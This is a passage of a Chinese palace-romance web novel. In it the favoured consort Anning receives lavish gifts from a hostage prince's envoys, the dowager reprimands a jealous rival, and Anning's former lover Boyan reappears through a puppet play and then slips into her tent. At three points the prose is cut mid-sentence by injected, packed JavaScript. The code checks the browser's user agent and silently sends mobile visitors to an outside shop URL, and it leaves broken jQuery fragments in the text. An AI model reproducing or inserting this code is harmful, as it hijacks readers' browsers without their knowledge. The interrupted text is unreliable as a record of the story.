王太后神色未变:“他那般宠爱宁昭仪,迟早的事。敬事房记档了没有?” 王大伴回道:“奴才去问过了,敬事房没有记档,奴才又私底下查问过毓德宫的宫人,圣上与昭仪似乎还没有圆房。” 王太后没有说话,片刻后提起了别的话题:“传哀家的旨意,月底的春猎,由王嫔主持祭天仪式。” 王大伴低头应下:“是。” 王嫔接了旨,笑着吩咐宫女拿赏银感谢来传旨的太监。一旁的姚贵人上前恭贺:“恭喜娘娘,贺喜娘娘!” 王嫔道:“不过是替太后和圣上分忧罢了,有何可贺?” 姚贵人奉承道:“娘娘,春猎祭天,素来只有后宫之主方可为之。往年都是由太后亲自主持,今年钦点了娘娘,可见这中宫的宝座,非娘娘莫属。” 王嫔笑道:“就你贫嘴。”她走到一旁落座,“这话在这里胡说便罢了,不要传出去。” “娘娘。”姚贵人笑道,“您入主中宫,是人心所向,臣妾可不是胡说。” 王嫔看着手中的懿旨,宁昭仪再受宠又如何?有太后姑母在,这后宫乃至前朝的事儿,圣上不能一言定之。她唇角微微露出了自得的笑容。 海翼从宫里受惊飞走后,明帝着人去寻它未果。安宁使人去国公府和太师府询问也没有消息。安宁心里忧心,难免闷闷不乐,明帝见状便发了悬赏令,若是有人能将海翼送回,赏银千两,若提供有效的消息,赏银百两。 悬赏的告示一出,整个京城的流浪儿都蠢蠢欲动,人人都在外寻猎鹰的下落。这般寻了几日,宫外传回了消息,猎鹰找到了。 51. 50 负责照顾海翼的小太监手上绑着护臂,海翼歇在他的胳膊上,见到安宁它想张开翅膀,奈何被上了护翅绑住,于是扭着头用锐利的眼睛注视着自己的主人。 “海翼!”安宁高兴地上前,从小太监手中接过了海翼,伸手抚摸它的背,仔细查看,见它右翅有损伤,也因如此才用护翅牢牢绑住。安宁不由得万分心疼,轻轻抚摸它的伤处:“让你受苦了。” “昭仪。”送海翼到毓德宫的小太监行礼道,“还请昭仪移步,去一趟御花园。” 安宁问道:“是圣上传召?” “禀昭仪。”小太监恭敬回答,“送猎鹰回来的是外部的使者。他们不要赏银,只求能见昭仪一面。圣上准了他们的请求,安排在御花园面见昭仪。” “外部的使者?”安宁抚摸着海翼的羽毛,心里转了一转。莫非是和父亲有关?她将海翼交还给照顾它的小太监,“好,这就过去。” 初春,腊梅花凋零,树枝上发出了新芽。御花园里还残留有几分残冬的痕迹,地面零星一些淡淡的青草芽,余下大片枯黄。要再过上一月,整个御花园才会重新焕发出生机。 安宁换上了品级服饰,在引路太监的带领下乘软舆一路穿过甬道,到了面见外部使者的花亭。 花亭里候着一群身着外部传统服饰的人,见着安宁的软舆,众人纷纷起身行礼:“见过宁昭仪,昭仪日安!” 当先一人约莫四十多岁的年纪,他上前道:“臣王庭属臣萨合,见过昭仪。” 安宁下了软舆,在花亭的主位落座:“我听说你们想要面见我,是有何事?” 萨合拍了拍手,后方有人抬上来一个铁笼:“听闻昭仪喜爱珍禽异兽,我家世子正巧偶得了几只雪狼的幼崽,便想着呈给昭仪,以搏昭仪一笑。” 铁笼上覆的布被揭开,里面是两只毛茸茸的雪狼幼崽。它们通体灰白相间,身上细软的绒毛又密又厚,两张小脸稚嫩可爱,一双眼睛如同婴儿般。因为覆布被揭开,它们不安地在笼子里嗅闻着,发出轻轻的哼唧声。 安宁看着萨合微微皱起眉头:“你是王庭属臣……你家世子可是少布?” 萨合回道:“回昭仪,您所言是王的大妃乌日更之子王子少布,臣所属,乃是次妃沙河台一支,世子名曰摩诃。” 沙河台?摩诃? 安宁自小在开阳长大,对外部十分熟悉。她自然知道王庭那个不受宠的次妃沙河台。她虽育有一子,但当年大宁同外部交战,外部战败,沙河台的幼子摩诃年仅两岁就被送进了京城作为质子。此后一直长居京城。 王太后倒是没有亏待摩诃,一直以亲王的待遇将他软禁在京。他在京有个府邸,外人都称其为世子府。 安宁知道此人,原定是摩诃十八岁时,大宁将其送返金帐王庭。可如今这情形,少布暴虐不得人心,在外部各部族中并不得拥戴,乌日更害怕摩诃回去动摇少布的王子之位,一直怂恿草原王刹什多番向大宁朝廷上折子表忠心,将摩诃继续留在京城为人质,迟迟不肯让摩诃回返。 安宁哦了一声:“原来是世子府的人。”她看着萨合,“世子可有所求?” 萨合双手交合在胸前行礼:“昭仪,世子听闻您从小在开阳长大,这满京城唯有您来自世子的家乡附近,心里便带着几分亲近。这次听闻昭仪的猎鹰走失,咱们府上旁的不说,驭鹰有一把好手,机缘巧合寻回了您的猎鹰,便想借着这个机会帮助昭仪,也算是全了世子对故乡思念的这份心意。” 话说得漂亮,意思也表达得清楚。摩诃是想借着这个机会结识她,让她在宫里替他回外部之事美言几句。 安宁笑了笑:“我知道了。” 萨合再拍手,后面的人鱼贯而上,抬上来数十个箱子,一一在安宁面前打开,里面尽是各种珍宝,还有外部的特产。萨合道:“这是我们世子的一点心意。” 永和宫里,王嫔抬头看着面前的太监:“你可看清楚了?” “小的就在御花园,看得清清楚楚。”小太监回道,“那外部使节送了好多金银珠宝,足足有几十箱!奴才冷眼瞧着,宁昭仪回宫后,来搬箱子的人搬了小半个时辰才全部搬走!” 王嫔追问道:“她收了?” 小太监应道:“收了。” “这宁昭仪,真是恃宠而骄,到了无法无天的地步。”一旁的姚贵人听完这些话,微微侧身看向王嫔,“娘娘,且不说她竟然越过您去面见外臣。她竟然敢私自收授外臣的贿赂,眼里还有没有宫规,还有没有您同太后?!” “如此倒好。”王嫔没有动气,微微思忖,“江贵人之前提了什么你可还记得?这倒巧了,想瞌睡就有人送枕头。外部这般上赶着送礼,里头定然有所求。” 姚贵人笑着奉承:“还是娘娘念头转得快,臣妾愚钝,竟然没有想到这一层。” 王嫔唤来身边的宫女:“去永宁宫,把这个消息告诉江贵人。” 两只雪狼才刚刚满月,走路跌跌撞撞十分可爱。一回毓德宫安宁就将两只雪狼放了出来,在院子里逗着它们玩儿。这两个小家伙不认生也机灵,围着她一个劲讨好,摇着尾巴在她面前蹭来蹭去讨食吃。 安宁抚摸着雪狼厚密的绒毛,笑得眉眼弯弯。朱弘辉一进院子就见她蹲在西府海棠下正在逗雪狼,两只雪狼一只在她面前吃着她手上的东西,另一只在她身后,调皮地咬着她垂在地上的裙摆。 “四叔。”安宁看见他站起了身,献宝似的举起了一只雪狼给他看,“可不可爱?” 他看着雪狼琥珀色的眼睛点点头:“可爱。” 安宁放下雪狼,小家伙摇摇摆摆跑开寻自己的兄弟去了。安宁道:“他们送了雪狼,又送了不少礼物,听那意思,是想让我帮着美言几句。为他们世子回外部铺好路。” 两人并肩进了内殿落座。朱弘辉笑了笑:“那我倒要听听,你要如何替他美言。” “我说完了啊。”安宁不以为意,“他们还送了不少东西呢,金银珠宝好多好多。现在白薇姑姑还在库房那忙着清点编册呢。” 沉香上了茶。朱弘辉拿起茶盏:“他们知晓你是宠妃,目光自然积聚在你身上,讨好了你,既可上达天听,岳父又是凌云州的统帅,在边境若能再借他之力,与王庭分庭抗礼也非难事。这点子礼物同这些盘算比起来,又算得了什么?” 他这般自然地称顾林书为岳父,安宁脸一红,娇嗔道:“四叔,您是天子,怎可轻易称我爹为岳父?” 他放下茶盏,笑着反问:“那我不称岳父,称什么?” 她没有回答他的问题,拿起白蔻送进来的茶果咬了一口:“四叔,你是打算帮那个世子的,是不是?” 他微笑着看着她:“何以见得?” “这位世子一直留在京城,打小到现在都在大宁长大,听闻太后还请了师父悉心教导他功课。就算他流着王庭的血液,从里到外也是地地道道的大宁人了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703228|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”安宁又咬了一口茶果,慢慢嚼了嚼咽下去,理清了思路,“依我看,太后留着他教导他,就是为了现在用他。” 她眼睛亮了起来,“如今少布是王庭的王子,可少布暴虐不受爱戴,此时若有一个同样有王位继承权,又各方面都比少布强的世子回到王庭,王庭势必会因为王权的事情内斗不休。这定然是大宁乐见其成的结果。 而且这位世子从小生长在大宁,若他为王,心里自然亲近大宁,怎么看都比少布继承王位要强百倍。这么算一算,你一定是会帮他的,对不对?” 他欣慰地看着她:“平日里总觉得你个性有些莽撞,关键事情上头脑倒很清醒。” 安宁不满地看着他:“怎么说我爹平日里也是常常和我讲这些道理,身为他的女儿,不可看不清这些大势。”她又感兴趣地盯着朱弘辉,“既然这世子是你们留下的棋子,为何还顺着王庭的意思将他扣在京城?把他放回去搅乱王庭不是更好?” “还不到时候。”朱弘辉慢慢道,“何况你说的,只是一种情形。还有一种情形,是放虎归山。这虎放不放,何时放,是否能让两虎相争,还得再看一看。” 一只雪狼从门口跑进来,跑到安宁脚下,扭动着胖胖的小身躯上了脚踏,寻了个舒服的姿势趴下叹口气闭上了眼睛。安宁看得有趣,垂下手去抚摸,它只是耳朵动了动,打了个哈欠。 “世子府送来的礼,挑些最好的,送到太后那里去。”朱弘辉嘱咐她,“你自己亲自去一趟,把今日的事情详细同太后讲一遍。这些礼在我和太后那里过了明路,就不算外臣私相授受。记住了没有?” 安宁抬起头:“是我疏忽了。在开阳时,我爹说过,只要是外部送的礼一律收下。我倒忘了这是宫里。” 朱弘辉闻言笑了笑。顾林书饕餮的外号不是白叫的,外部只要送礼他便收,所求的事情却不一定会办。也是他有自己的雷霆手段,才在战乱后缺乏朝廷拨款的情况下,将整个凌云州建立成了如今的模样。 毓德宫里抬进了几十箱珍宝,天擦黑时又抬出了十几箱,往慈宁宫的方向去。 甬道上的小宫女小太监们见状避让到一旁,等抬着箱子的队伍走得远些了,忍不住议论纷纷。 一个小宫女道:“宁昭仪真是受宠,平日里就见圣上各种赏赐流水一样的送进毓德宫,今日连外部的使臣都送了这么多礼物。在毓德宫里当差,真是羡煞旁人。” 一旁的小太监接过了话:“想去那里当差哪儿那么容易?我听闻当初往毓德宫拨人的时候,先从养心殿调了御前当差的白薇姑姑和陈公公过去,余下的都是他二人一个一个挑的!便是想使钱托关系,入不了他二位的眼睛都进不去。” 阴影里一个小太监开了口:“不去也好。这宫里一时盛极的荣宠还少了?好时是好,坏的时候咱们这些做下人的,那可是要跟着掉脑袋的!” 他身旁的小太监道:“外部为啥单给宁昭仪送礼?因为她受宠还是因为她来自凌云州?竟这般越过了王嫔娘娘同周嫔娘娘去?” 阴影里的小太监道:“我这些日子听说了一些传闻,这个宁昭仪,还在开阳时同外部的小部落世子有染,不仅如此,王庭王子少布还曾上折子求娶她为王子大妃。” 这话一出,围聚在一起的宫女太监们面面相觑。他们也知道背地里议论主子是大罪,不敢再多说什么赶紧散开。但方才阴影里小太监说的话,仍像长了翅膀一样很快传遍了整个皇宫。 52. 51 慈宁宫里,大殿的角落点着熏香。缭缭青烟从青铜长颈的仙鹤口中升起,缓缓飘向殿顶,凝而不散。 王太后微微皱着眉头,看着下首坐着的几人:王嫔、姚贵人、江贵人、李才人,还有两个新进宫的赵选侍和孙选侍。几个位份高的跪在一旁不言不语,两个没位份的选侍跪在大殿中央,低着头看着眼前的地面一动不动。 王太后叹了口气,看向一旁的王嫔,眼底深处带着淡淡的失望和不耐。王嫔领了众人来慈宁宫说是有事禀告,揪了两个选侍当刀,跪地说着这些日子宫里的传闻,话里话外都在说宁昭仪入宫前如何不检,同拓罗河部的世子额尔私定终身在先,又引了王庭王子少布上书求婚在后。 两个选侍你一言我一语说完,太后却没有丝毫言语,大殿里一片诡异的安静。太后沉默的时间越久,两个选侍越不安,慢慢地身子发起抖来,如筛糠一般。 王太后看着王嫔:“还有旁的事没有?” 王嫔出列摇了摇头,小心回答:“太后,这些风言风语在宫里传得厉害,臣妾实在是听不下去。这若是传到宫外,圣上和皇家的颜面何在?臣妾不敢擅专,是以领了她们来回禀太后。” 太后眼底深处的不耐更浓,突然斥责道:“你既然知道是风言风语,一早听见之时,就理应将其扼杀在摇篮里!而不是心怀私心,由着它传播!你也知道此事无论真假都有伤圣上和皇家的颜面,你如今身为后宫之首,理应使出雷霆手段处理那些风传留言的人!” 大殿里众人一惊,纷纷下跪:“太后娘娘息怒!” 王嫔跪在众人前方,心中惴惴:“娘娘息怒!” 太后厉声道:“赵选侍孙选侍不辨是非,助长流言传播,拉下去掌嘴三十!禁足一月!” 两个选侍一惊,连连叩头求饶:“太后娘娘赎罪,太后娘娘赎罪!” 底下江贵人和姚贵人悄悄地互相对视了一眼,面带担忧和不解。 太后道:“旁人都退下,王嫔留下!” 众人退去,大殿里只余王太后与王嫔两人。 “我一再嘱咐你,心思用在该用的地方!”王太后看着王嫔毫不留情面的呵斥,“你若再这般犯蠢下去,我们王家也不是只有你一个嫡女!” 王嫔大惊,叩首在地:“太后姑母赎罪!侄女儿愚钝,不该惹姑母生气!” “月底让你主持春猎祭天的仪式是何意,难道你不知?你可知祭天只有本宫和皇后可以主持?你身为嫔位破了这个先例,便是为你日后的名分铺道!这些日子你只需谨言慎行,踩着这条康庄大道走下去便行!身为主位就该有主位的气度和气量!而不是如同那些后宅小妾一般,日日想着争宠内斗不休!你目光这般短浅,实属鼠目寸光!” 王太后劈头盖脸一顿怒骂,骂得王嫔涕泪横流,只知道求饶:“侄女儿错了……” “你如今非要拉下那顾安宁,于你有什么好处?!”王太后恨铁不成钢地看着她,“她若刻意挑衅,或者是你路上的拦路石,你大可以去斗!她何值一提?圣上便是偏宠了她一些,于大局有何影响?!你偏要因为嫉妒将全部心思都放在她那里,愚蠢至极!” 王嫔从未见过太后这般盛怒,这么不留情面的斥责自己,整个人伏在地上瑟瑟发抖。她在这宫里最大的仰仗便是太后,若是太后当真弃了她再从王氏家族里选拔一个秀女,她又不得圣心,眼下这些聚在她身边的人都是势利之辈,到时只怕比死都痛苦。一念至此王嫔不停叩首:“太后息怒!” “行了!”太后呵住了她,“滚回你的宫里去,闭门好好思过三日!” 王嫔噤若寒蝉,忙不迭地退了下去。 王太后强压下心中的怒火。这个侄女儿属实愚蠢!她慢慢想着王氏家族子侄辈那些适龄女子,不免有些失望。王家如日中天,这十几年家里养尊处优,女孩们一个个娇养着,或许还不如进宫的这个王嫔!她不由得深深地叹了口气,有些疲惫地闭上了眼睛。 王大伴悄无声息地走到王太后身边,伸出双手替她揉着太阳穴放松:“太后,娘娘还年轻,您且慢慢教就是。她是嫡女,打小在家里被娇宠着,哪儿能似您一般趟过刀山血海过来的?好在她的对手也都还年幼,不急,不急。” 王太后没有说话,大殿顶灯的光照下来,在地上印出两个人黑漆漆的影子。王太后眼里是浓郁的阴霾。 王嫔满脸泪痕地回了宫,和她同住一宫的姚贵人过来看她,见她如此开口劝慰:“娘娘,太后娘娘也是心疼您。无论如何,她都是您嫡亲的姑母,所思所想定然是为您好,您说是不是?” 她仄仄地叹了口气:“这些日子,不要再去招惹那个顾安宁。她受宠,就由着她去罢!” 姚贵人虽然不知王嫔为何突然这般,但看她今日的情形也不好多问,顺着她的意思应下:“是。” 过了几日,世子府的人又送了东西进宫,这一次送过来的是凌云州那边传统的吃食。东西虽然不贵重,但是送礼的人显然极为用心,对安宁投其所好,挑拣的都是她爱吃的东西。 此后三天两头的,外部总往毓德宫送礼,除了第一次的礼物贵重,后来的都是些风俗特产。东西在明帝面前过了几次眼,他见都是些外部特产,多是安宁的心头所好,便通通放行,吩咐日后送来的东西不必再特意过问,径直送往毓德宫。 这日外部又来送礼,宫里的人已经习以为常,小太监领着使臣进了院子。开春后西府海棠满树新绿,如今接近花期,树上结满了粉色的花骨朵。风一吹,树枝轻轻晃动。阳光温暖,从树枝的间隙透过,映照在安宁的身上。 她蹲在地上,身上穿了一身淡粉色的裙裾,裙摆如盛开的花朵一般在身侧散开。两只胖乎乎的雪狼正在她面前翻着肚皮,她整个人看着温柔娴静又明媚,眼里满是笑容,伸手揉着雪狼的肚子。 “昭仪。”领路的小太监向着安宁行礼,“世子府又送礼来了。” 安宁抬头,见小太监身后站着一人。他穿着外部使臣的衣服,身量高挑,琥珀色的眸子让他看上去十分淡漠。他站在那里看着她,仿佛梦境透入了现实。吹过院子的风拂动了他的头发和衣摆,才让安宁恍然这不是自己的错觉,他真实地出现在了她的面前。 是伯言。 安宁脸上的笑容凝固,一瞬间心里翻起了惊涛骇浪。她觉得有些头晕,不禁往后退了半步,白蔻赶紧上前扶住了她:“姑娘,你没事吧?” 安宁摇了摇头,艰难地扯出一丝笑容:“没事,许是站起身时急了些,有点头晕。” 白蔻扶着她在一旁的石凳上落座:“要不要传太医?” 安宁阻止了她:“不用。” 伯言上前一步,微微低头行礼:“微臣见过宁昭仪,昭仪日安。” 安宁暗地里握紧拳头,指甲掐进了手心里:“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715766|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必多礼。” 伯言转身看向身后,后面的人将箱子奉上打开,箱子里装着的是许多木雕的牵丝傀儡。伯言道:“听闻昭仪喜欢看傀儡戏,臣恰好有一套上好的牵丝傀儡。”他拿出了一具木傀儡微微抖手散开上面的丝线,傀儡哗啦一声垂落,垂着四肢低着头被他提在手里。 旁边的侍从低头奉上一个面具,他伸手接过戴在脸上。那面具五官模糊,也是用木傀儡同样材质的木头雕成漆做同样的颜色。他一戴上,仿佛就和手里的木傀儡合二为一。面具后他的声音传来,“臣有一出戏《离归》,想来昭仪会喜欢。不知昭仪可愿一观?” 安宁正要拒绝,见周嫔进了院子。她只得暂时撇下伯言迎上去:“见过周嫔姐姐,姐姐日安。” “午睡起了闲得无事,想要出来走一走,就来了你宫里。”周嫔微笑着伸手扶起要行礼的安宁,目光落到不远处的伯言等人身上。此时伯言带来的几人也纷纷戴上了面具手里拿着牵丝傀儡站在那处,看着有几分诡异。周嫔略带诧异地问,“这是傀儡戏?” 伯言行礼:“臣王庭世子属臣,进宫为昭仪献艺。” 周嫔对这些日子外部总给安宁送礼的事情也有所耳闻,闻言笑看向安宁:“择日不如撞日,既然让我遇上了,可否与妹妹同观?” 周嫔开了口,安宁原本要拒绝的话语只好咽了下去。她心中忐忑地回头看了伯言一眼。他脸上带着面具,看不清他的表情和眼神。她回头朝着周嫔笑了笑:“周嫔姐姐请。”她轻声吩咐白蔻,“去请顾贵人来。” 宫女太监们搬来了桌椅在院子里放好,伯言与侍从提着牵丝傀儡站在了西府海棠树旁。待到顾珂柔过来落座,一个侍从敲响了手里的手鼓,一人提着傀儡上了场。 戏文讲了一对青年男女偶遇,两人互相倾心,时常瞒着家人相约护诉衷肠。然而就在男子打算去女子家提亲的时候,却得知女子已经令嫁他人。男子心中愤怒又悲痛,多方打听才知女子嫁给了一个位高权重之人,他冒险去见她。终于在权贵的花园里二人又重逢。 伯言提着那男子的傀儡,走到女子的傀儡旁,开口问她:“你若对我真心,为何一言不发就将我抛下?” “便是你有万般不得已,也该告诉我,让我去为我们争上一争。” 众人看得聚精会神,一旁的宫女太监们都在为戏文里男女主的深情和爱而不得所感动。安宁更是心中大震,前面两人相会的情节,十之七八是她和伯言之间的往事。如今听他一句句在那处说出来的话,字字句句似乎都在说与她听。 不知不觉间,她红了眼睛,眼泪蓄满了眼眶。 他道:“你若愿意,我便想法子带你走,不让你困在这一方高墙里。” 安宁终究忍不住,微微偏头落下泪来。幸而不少小宫女也为戏文所感红了眼睛落泪,无人察觉她心里的惊涛骇浪。 戏文终了,周嫔叹道:“好一出《离归》,看得我心口如塞了一团棉花,属实该赏。” 她身旁的管事宫女闻言,吩咐人备下赏银送过去。安宁强行打起精神,也吩咐白薇去拿了一盘子赏银来。 伯言等人将傀儡放进了箱子,却没有取下脸上的面具,向着三人行礼:“臣等告退。” 安宁目送伯言的背影,一时间过去种种瞬间涌上心头,心口绞痛。 顾珂柔察觉到了她的失常,轻轻握住她的手:“怎么了?” 53. 52 安宁强压下心头种种,撑起一个笑容摇了摇头:“没事。” 白蔻见状十分担心,同顾珂柔道:“昭仪先前就觉着头晕,面色十分不好。” “春日里最容易被邪气入体。”周嫔扭头吩咐身旁的宫女,“拿我的牌子,去宣太医来毓德宫。” 安宁欲阻拦,周嫔轻轻按住了她:“正好我们都在,一起请个平安脉也无妨?” 安宁只得应下。 日头西斜,昏黄的阳光顺着窗户透进屋内,给一切镀上了一层淡淡的温暖橙光。安宁仄仄地斜趴在临窗的大炕上,注视着屋角的箱子。箱子里放着的正是今日伯言送进来的木傀儡。夕阳的光线照射不到屋角,木傀儡耷拉着脑袋,毫无生气的靠在箱壁上,带着沉沉的暮气。 朱弘辉一进门,看见的便是这幅场景。安宁满脸落寞,眼睛里都是难过,看着昏暗的墙角不知在想些什么。他进门时,夕阳最后的光辉正在慢慢散去,屋子里暖色消退,黑暗从四处浮起,空气也渐渐变得寒凉。 他走到她身边落座,伸手去探她的额头:“怎么了,可是难受的厉害?” 安宁摇摇头坐起了身,顺势斜靠在他肩头。 白薇进来奉茶,朱弘辉问道:“太医怎么说?” 白薇应道:“太医说昭仪略微有点受惊受寒,旁的倒没什么。” 他低头轻声问她:“是不是夜里总在院子里坐着受了寒气?” 安宁抱着他的胳膊摇头。 她此时的心境十分复杂,又难过又愧疚又害怕。 她知道伯言手段非比寻常,却不曾想即使进了宫他也能跟着寻来,不由得又惊又怕。想起先前他借着戏文一句一句问她,她心里十分难过,可见着朱弘辉,又难免觉得愧疚。 白薇进来点亮了屋里的蜡烛,盈盈的烛火燃起,驱散了黑暗。朱弘辉的视线落到墙角的箱子上,看见了里面的牵丝傀儡。他问她:“听说今日进献了傀儡戏,演得如何,你可喜欢?” 安宁心里一惊,抬头看他,见他脸上的神色和眼底都写着对她的关心。她越发内疚,扑进他怀里抱着他低声道:“四叔,不要让他们再来送礼或献艺了。” “怎么了?”他捧起她的脸仔细打量她的神色,“你不喜欢?还是旁人说了什么?” 她摇摇头:“没人说什么。你本来就对我很好惹了他人嫉妒。再这般下去,日后真放了那世子归去,外面的人会觉着只要讨好我,就能从你那得到好处。那岂不坐实了外臣贿赂后妃?于你于我,甚至于太师府国公府都没有好处。” 他眼里含着笑:“难得你能想到这些。” 安宁叫来沉香,吩咐她让人来把那装着木傀儡的箱子锁好抬出去。不见了那箱子又拒了使臣入宫,她心头松快了些。 白薇送来吃食,一盘金丝糕一碗燕窝。朱弘辉道:“听说你没有用晚膳,我便吩咐下面备了些吃的,就算没胃口,多少也要吃一点。” 她属实没有胃口,勉强吃了两口。朱弘辉见状,从她手里接过了瓷碗,亲自拿了勺子舀着燕窝喂她。安宁没有办法,只好就着他的手一勺一勺的,慢慢将一碗燕窝都吃了下去。 监督她吃完了东西,她去水房梳洗。回来却见他还在内寝,正坐在烛火下翻看书页。夜色渐深,他却没有离开的意思。安宁心里有些忐忑:“四叔,你不回乾清宫吗?” “不急。”他从书本里抬起眼睛淡淡地看了她一眼,“等你歇息了,我再回。” 安宁坐到铜镜前,白蔻上前替她处理着刚洗的头发。她坐下时,长发垂落几乎及地。白蔻拿了干的帕子,细细一缕一缕仔细替她擦干。她突然停下低头退让到一旁,朱弘辉从她手里接过帕子接替了她做的事情。 白蔻脸微红退了下去,细心地关好了内寝的房门。 安宁从铜镜里看着身后的朱弘辉,他的手指修长,穿过她的发丝,用手中的帕子轻轻摩挲着。他眼神专注神态安稳,安宁心里涌上了她自己也说不清道不明的东西,回过身抱住了他。 他轻轻叹了口气,伸手将她抱起放到床榻上,俯身抚摸她的脸颊,一眼不发地看着她。 她抬起双臂搂住他的脖子,也不知是哪儿来的勇气,微微用力将他下拉,主动奉上自己的唇。 他却没有顺势吻她,微微用力和她对抗,安静地看着她。 她扁了扁嘴,语带委屈:“四叔……” 极近的距离下,他漆黑的双眸里带着她看不懂的东西。他低头轻轻碰了碰她的唇:“你今日不舒服,早些歇息。” 他握住了她的手腕,轻柔但坚定地将她拉下,替她盖好被子。他侧坐在她身旁,让她靠着自己:“睡吧,我在这里陪着你。” 烛火缓缓燃烧着,安宁渐渐陷入沉睡。她蜷缩在他身边,极为没有安全感地贴着他,手里拽着他的衣角。听着她均匀的呼吸声,他轻轻掰开她的手,低头在她脸颊边落下一吻,随即起身走出了房间。 黄大伴和白薇一如既往地候在门口。见门开二人迎了上来,朱弘辉面无表情地吩咐:“回宫。” 一直到回了乾清宫只余他自己,他才缓缓从袖袋里拿出两张纸条,将其平展在眼前。两张纸条的笔迹相同,上面的字力透纸背,笔锋如刀,显然是男子书写,第一张上面只有短短三个字:侯府见。第二张写着:后日酉时相见。 这是他在翻看多宝阁的藏书时,无意间从一本书中所得。他看见后没有发怒也没有声张,只是仔细将纸条收好,到了此刻只余他自己时才将其拿出。 夜色深沉,风吹得廊下的灯笼轻轻晃动,连带着从琉璃窗户透进室内的光也跟着轻轻摇晃,让屋子里忽明忽暗。他坐在椅子上一动不动,看着不知名的虚空某处,不知道在想些什么。 不知道过了多久,他拿起眼前的纸条,就着烛火将其烧成了灰烬。纸条燃烧的火光在他眼中明灭,最终消失。 又下了几场春雨,草场肉眼可见的变得丰美。刚开始只没脚背的浅绿色新芽如今舒展开身躯,迎风轻扬着自己翠绿的叶片没过了脚踝。京郊马场热热闹闹,被严密的圈围出了春猎的围场,上百个帐篷远近有秩序的散落着。 马蹄声轰鸣,骑兵着轻甲,从草原上呼啸而过。蔚蓝的天空下,安宁极为羡慕地看着远处疾驰的马群。这次围猎明帝带的后妃不多,除了主持祭天仪式的王嫔,便只有周嫔和安宁两人。 王嫔因要主持祭天仪式,一到草场便要去特定的帐篷里斋戒沐浴三日,眼下只有周嫔伴着安宁。 安宁看了眼远处,明帝在很远的主账前,正在听护卫汇报围猎的准备事项。那日明帝将她哄睡之后,接下来数日都没看见他的身影。安宁只道他是为了月底的春猎忙碌,也没有多加打扰。今日在草场上还是这些日子来,她第一次看见他。 周嫔顺着她的视线朝明帝的方向看了一眼,笑着回头对她道:“圣上这几日怕是要忙着,还好咱两同行,好歹能一起说说话不至于太寂寞。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723634|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气里充满着青草的芳香,周嫔和安宁并肩在草场上漫步。翠绿的草丛中散布着星星点点嫩黄色的花朵,安宁弯腰摘了一朵,见花蕊里还有颤巍巍的露珠。她抖落露珠,将花递给周嫔:“周姐姐,给。” 周嫔接过花,顺手别在头上,笑问:“好不好看?” 安宁夸赞:“好看!” 周嫔便也摘了一朵,亲手别在安宁头上,两人相视而笑。 “娘娘。”一个太监过来向周嫔行礼,“圣上传召,请娘娘随奴才移步。” 安宁对周嫔道:“姐姐,你去吧。我自个儿在这处走走便回。” 周嫔见四周都是护卫,便放心将安宁留下,自己随太监离开。 安宁驻足看着草场上的骑兵,一队骑兵从不远处飞奔而过,扬起的碎尘和草屑扬了漫天。安宁低头躲避,一旁太监上前道:“宁昭仪,您去那边的帐篷里歇歇吧。” 安宁拍着身上沾上的草屑随着引路的太监进了不远处的帐篷。白蔻见安宁头上也有碎屑:“姑娘,你在这坐坐,我去打点水来替你梳洗。” 安宁头也不抬地应了一声,摘着自己身上的碎草和土粒。帐篷的帘子一掀,白蔻走了出去。后方的篷布紧跟着被人掀起,弯腰进来了一个人。 安宁听见动静一惊起身躲避,见伯言站在她身后神情冰冷地看着她。 “你疯了?!”安宁一惊,惊慌失措地回头看了眼帐篷外,忙不迭地推他出去,“若是让人看见,你还要不要命了?!” 他站着一动不动,反手紧紧握住她的手腕将她一把拉进怀里。安宁用力挣扎,她越挣扎他抱得越紧,他抬手按住她颈后,低声在她耳边开口:“别动。” 熟悉的声音,熟悉的体温和怀抱。安宁用力推着他肩膀的手变得无力,不知为何悲从心起,落下泪来。 “别哭。”他捧着她的脸,用拇指擦去她的泪水,抵着她的额头哄她,“别哭。” 他越是让她别哭,她的泪落得越凶。她也不知自己为何落泪,只是那眼泪就像断了线的珠子一般停不下来。他低头去吻她的泪珠,被她偏头避过,顺势从他怀里挣扎开来:“你现在还来寻我做什么?” “你不辞而别。”伯言道,“你走得那般决绝,不曾给我一个交代。” 安宁抬头看向他:“你若真心喜欢我,一早便该堂堂正正去我家提亲,而不是引得我私自出去同你相会,险些犯下大错!你若真心喜欢我,为何不为我的名声着想,为何不告知我你的身份?每次都是你来同我私会,一直到出了事我都不知你到底是哪家的世子!你怪我对你没有交代,我上哪儿去寻你,如何给你交代?!你这般行径,可有真心半点为我着想?!” 他沉默着没有说话,片刻后道:“我来寻你,是想告诉你。若你愿意,我便想法子带你走。” 